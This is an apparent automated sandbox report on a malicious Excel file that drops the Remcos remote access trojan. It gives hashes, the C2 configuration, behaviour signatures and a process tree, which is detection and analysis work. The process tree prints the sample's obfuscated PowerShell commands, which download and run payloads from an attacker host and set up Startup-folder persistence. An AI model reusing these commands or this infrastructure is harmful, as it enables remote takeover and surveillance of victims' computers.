remcos | 3cd2459f1d568d4aaaf422c284892810f7cb60dc69af99adb060f84a1c94ece6

General

Target

ach remit.xls
Size

32KB
MD5

d6b1e5a67d3c55b47096c958646db5b8
SHA1

29ca3e0db93d99395a893d20ab05185e105ce012
SHA256

3cd2459f1d568d4aaaf422c284892810f7cb60dc69af99adb060f84a1c94ece6
SHA512

df8de8e5124882750c712dfd1fbea94df28e467aec45ec7a67c1054828a377308b0993255687bfd7b8fb44e432d95c29b1bd1e75f5962a8595851a6a9b576b33

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

williamsmack.duckdns.org:991

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Remcos-947HIW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3912	552	cmd.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

36 2704 powershell.exe
50 4436 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation WScript.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

4436 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4436 set thread context of 3172 4436 powershell.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
36	2704	powershell.exe
50	4436	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
4436	powershell.exe

description	pid	process	target process
PID 4436 set thread context of 3172	4436	powershell.exe	MSBuild.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30976185"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80aff68db9a8d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 9012ed8db9a8d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2353945011"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c462900f48ae714cae0346dd4284bdb900000000020000000000106600000001000020000000c776ce12ee6323d9681db0ba1d7fd78531f4ec29172146cce9362ddad6a15cc9000000000e80000000020000200000005d4d4cf40142bdaeab60d103ad3d35a04969dbf9ff5a0b50d87b3094986b131c20000000a8708a03875fc036673f4a30c93396897c3eb7191f6d896c61e80158e63c90974000000054965431063fbcf6d05301b7f724f6b913104dac03f62c1e5737f4bfc33014b6643487fcda227c1c0c92f31dcbe6909d36d0ca7ec2d6b455a70c6415935a7ad6	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B7E00DA1-14AC-11ED-9263-6242A6D96CDE} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2353945011"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000c462900f48ae714cae0346dd4284bdb9000000000200000000001066000000010000200000008320085431a81fe38d81f9b55d365e796a6725cff4f6c876527e180cf3c0430d000000000e8000000002000020000000b608e71e50e3a7fba2d931dda0c7cc949fe0bd15b4c45810789527ae11af336e20000000336954c44880b292e54ad38938b01bbcfa238e8c882c94470fcac0e53855848340000000adffbd3cca8e12cdbdbe34bb439f8fc2a51b5f8f39c3e04cd90ddf7d3ef2597cb78052f6ece1febe000e0a909877502df49eb2f0ca98b87f94a66c239136c725	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30976185"	iexplore.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000_Classes\Local Settings powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

552 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2704	powershell.exe
2704	powershell.exe
4436	powershell.exe
4436	powershell.exe
2076	powershell.exe
2076	powershell.exe
4436	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeIncreaseQuotaPrivilege	4436	powershell.exe
Token: SeSecurityPrivilege	4436	powershell.exe
Token: SeTakeOwnershipPrivilege	4436	powershell.exe
Token: SeLoadDriverPrivilege	4436	powershell.exe
Token: SeSystemProfilePrivilege	4436	powershell.exe
Token: SeSystemtimePrivilege	4436	powershell.exe
Token: SeProfSingleProcessPrivilege	4436	powershell.exe
Token: SeIncBasePriorityPrivilege	4436	powershell.exe
Token: SeCreatePagefilePrivilege	4436	powershell.exe
Token: SeBackupPrivilege	4436	powershell.exe
Token: SeRestorePrivilege	4436	powershell.exe
Token: SeShutdownPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeSystemEnvironmentPrivilege	4436	powershell.exe
Token: SeRemoteShutdownPrivilege	4436	powershell.exe
Token: SeUndockPrivilege	4436	powershell.exe
Token: SeManageVolumePrivilege	4436	powershell.exe
Token: 33	4436	powershell.exe
Token: 34	4436	powershell.exe
Token: 35	4436	powershell.exe
Token: 36	4436	powershell.exe
Token: SeIncreaseQuotaPrivilege	4436	powershell.exe
Token: SeSecurityPrivilege	4436	powershell.exe
Token: SeTakeOwnershipPrivilege	4436	powershell.exe
Token: SeLoadDriverPrivilege	4436	powershell.exe
Token: SeSystemProfilePrivilege	4436	powershell.exe
Token: SeSystemtimePrivilege	4436	powershell.exe
Token: SeProfSingleProcessPrivilege	4436	powershell.exe
Token: SeIncBasePriorityPrivilege	4436	powershell.exe
Token: SeCreatePagefilePrivilege	4436	powershell.exe
Token: SeBackupPrivilege	4436	powershell.exe
Token: SeRestorePrivilege	4436	powershell.exe
Token: SeShutdownPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeSystemEnvironmentPrivilege	4436	powershell.exe
Token: SeRemoteShutdownPrivilege	4436	powershell.exe
Token: SeUndockPrivilege	4436	powershell.exe
Token: SeManageVolumePrivilege	4436	powershell.exe
Token: 33	4436	powershell.exe
Token: 34	4436	powershell.exe
Token: 35	4436	powershell.exe
Token: 36	4436	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

3860 iexplore.exe

pid	process
3860	iexplore.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXEMSBuild.exe

pid	process
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
552	EXCEL.EXE
3860	iexplore.exe
3860	iexplore.exe
2272	IEXPLORE.EXE
2272	IEXPLORE.EXE
3172	MSBuild.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeiexplore.exeWScript.exepowershell.exe

description	pid	process	target process
PID 552 wrote to memory of 3912	552	EXCEL.EXE	cmd.exe
PID 552 wrote to memory of 3912	552	EXCEL.EXE	cmd.exe
PID 3912 wrote to memory of 2704	3912	cmd.exe	powershell.exe
PID 3912 wrote to memory of 2704	3912	cmd.exe	powershell.exe
PID 2704 wrote to memory of 4668	2704	powershell.exe	WScript.exe
PID 2704 wrote to memory of 4668	2704	powershell.exe	WScript.exe
PID 3860 wrote to memory of 2272	3860	iexplore.exe	IEXPLORE.EXE
PID 3860 wrote to memory of 2272	3860	iexplore.exe	IEXPLORE.EXE
PID 3860 wrote to memory of 2272	3860	iexplore.exe	IEXPLORE.EXE
PID 4668 wrote to memory of 4436	4668	WScript.exe	powershell.exe
PID 4668 wrote to memory of 4436	4668	WScript.exe	powershell.exe
PID 4668 wrote to memory of 2076	4668	WScript.exe	powershell.exe
PID 4668 wrote to memory of 2076	4668	WScript.exe	powershell.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe
PID 4436 wrote to memory of 3172	4436	powershell.exe	MSBuild.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ach remit.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:552

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\fOMzZ.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -WindowStyle hidden IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJzskdTBoajQ0dHQgPSAnW0VudW1dOjpUb09iamVjdChbU3lzdGVtLk4nICsnZXQuU2VjdXJpJyArJ3R5UHJvdG8nICsnY29sVHlwZV0sIDMwNzIpJ3xJRVg7W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSAkdTBoajQ0dDskd2UyMj0nZVcudGVOIHRjJyArICdlamJPLXdlTignOyAkYjRkZj0nb2xud29ELil0bmVpJyArICdsQ2InOyAkYzM9JyknJ3Nidi5kbGl1QlNNXCcnK3BtZXQ6dm5lJCwnJ3Nidi50bmVpbEMgZGV0Y2V0b3JQL2V0b24vYWcudG5lbXRzbmkvLzpwdHRoJycoZWxpRmRhJzskVEM9JGMzLCRiNGRmLCR3ZTIyIC1Kb2luICcnO0lFWCgoW3JlZ2V4XTo6TWF0Y2hlcygkVEMsJy4nLCdSaWdodFRvTGVmdCcpIHwgRm9yRWFjaCB7JF8udmFsdWV9KSAtam9pbiAnJyk7c3RhcnQtcHJvY2VzcygkZW52OnRlbXArICdcTVNCdWlsZC52YnMnKTtyZW1vdmUtaXRlbSAoJGVudjpVU0VSUFJPRklMRSArICdcZk9NelouYmF0Jyk=')))
3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MSBuild.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01101001,01101110,01110011,01110100,01101101,01100101,01101110,01110100,00101110,01100111,01100001,00101111,01101110,01101111,01110100,01100101,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,00100000,01000011,01101100,01101001,01100101,01101110,01110100,00100000,01001111,01000111,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };([system.String]::Join('', $gf))|P
5⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
- Suspicious use of SetWindowsHookEx
PID:3172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\MSBuild.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSBuild.vbs'
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:1464

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3860

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3860 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2272

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8857a3ebfaad7f0e0243f0911b77d7da

SHA1
ba9f5fee7e2e61d8f73e5703a2ce050126723b76

SHA256
45bf04924cb6d9e6b933f1bfc34b06851bb35adf25639284c17b464bce3406c1

SHA512
d4dbd47651f9345e36c42c915e5f93d623c8edfc893495f45670c30a16316bcf716a77b0702dae8151010dddb21a4675e9e40a0e34d3f4f77af9218c37631f0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
3d7bbb39f0c28cc0544b34d865900865

SHA1
b58ca430218122f3a6fa71cc1175c6d1fa17ae3d

SHA256
20d42d3eba2662d77eac69f7576eaa6947c5e79598958d6724023dd9b0f21993

SHA512
50004605d84152c68816a85320d86e6f6c96b048cba654c3e21dda5342942574d79fb7b901a347f71a5f6e8b57cc388b220aeaf3ce2d89134f9771d1a7ebe02c

Download Submit
C:\Users\Admin\AppData\Local\Temp\00f4c54f-fbb7-4a6e-83b1-3711c40641b3\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSBuild.vbs
Filesize
2KB

MD5
72fc1ac661bc37bb1490dac2c0c5ca9b

SHA1
f315cd14c12f8024ef17a21594aea6c06432dcfb

SHA256
31ee16ff5b988670caab281265a8e02f4ff168f5ee7fef232c4625ebbe693c15

SHA512
37e6befb5e37773fc3d8726af53a9cae36031a81f348d834b0a47358d3c96cb91768a6ea62ac9586adeb1a2a073a838053eb775da429e99228ddda518fe40684

Download Submit
C:\Users\Admin\fOMzZ.bat
Filesize
847B

MD5
0d3332dab10cfa756bb2e3782126575c

SHA1
5f4b87871f5f77effc37d17ec240f2e34cdadb4c

SHA256
d2f8f2e00fa3d58ed14f5431c7806a00f670db06eeb7fe77ece96c0a7ae3de53

SHA512
b7e050c8a7015e8085595f53e97757de3a6def168ae74fcc180be24dd711beeef0d048525ee5758b220d9b9ae76c0b6d9e178f6fc7848580348f8e64226598fa

Download Submit
memory/552-136-0x00007FFE03530000-0x00007FFE03540000-memory.dmp

Filesize
64KB

Download
memory/552-135-0x00007FFE03530000-0x00007FFE03540000-memory.dmp

Filesize
64KB

Download
memory/552-134-0x00007FFE05590000-0x00007FFE055A0000-memory.dmp

Filesize
64KB

Download
memory/552-133-0x00007FFE05590000-0x00007FFE055A0000-memory.dmp

Filesize
64KB

Download
memory/552-132-0x00007FFE05590000-0x00007FFE055A0000-memory.dmp

Filesize
64KB

Download
memory/552-131-0x00007FFE05590000-0x00007FFE055A0000-memory.dmp

Filesize
64KB

Download
memory/552-130-0x00007FFE05590000-0x00007FFE055A0000-memory.dmp

Filesize
64KB

Download
memory/2076-155-0x00007FFE1AB00000-0x00007FFE1B5C1000-memory.dmp

Filesize
10.8MB

Download
memory/2076-153-0x00007FFE1AB00000-0x00007FFE1B5C1000-memory.dmp

Filesize
10.8MB

Download
memory/2076-149-0x0000000000000000-mapping.dmp

Download
memory/2704-144-0x00007FFE1B610000-0x00007FFE1C0D1000-memory.dmp

Filesize
10.8MB

Download
memory/2704-141-0x0000023CB6FC0000-0x0000023CB6FE2000-memory.dmp

Filesize
136KB

Download
memory/2704-139-0x0000000000000000-mapping.dmp

Download
memory/2704-140-0x0000023CCF710000-0x0000023CCF792000-memory.dmp

Filesize
520KB

Download
memory/2704-143-0x0000023CCF9B0000-0x0000023CCFAB2000-memory.dmp

Filesize
1.0MB

Download
memory/2704-142-0x0000023CB6F80000-0x0000023CB6F90000-memory.dmp

Filesize
64KB

Download
memory/2704-147-0x00007FFE1B610000-0x00007FFE1C0D1000-memory.dmp

Filesize
10.8MB

Download
memory/3172-163-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/3172-161-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
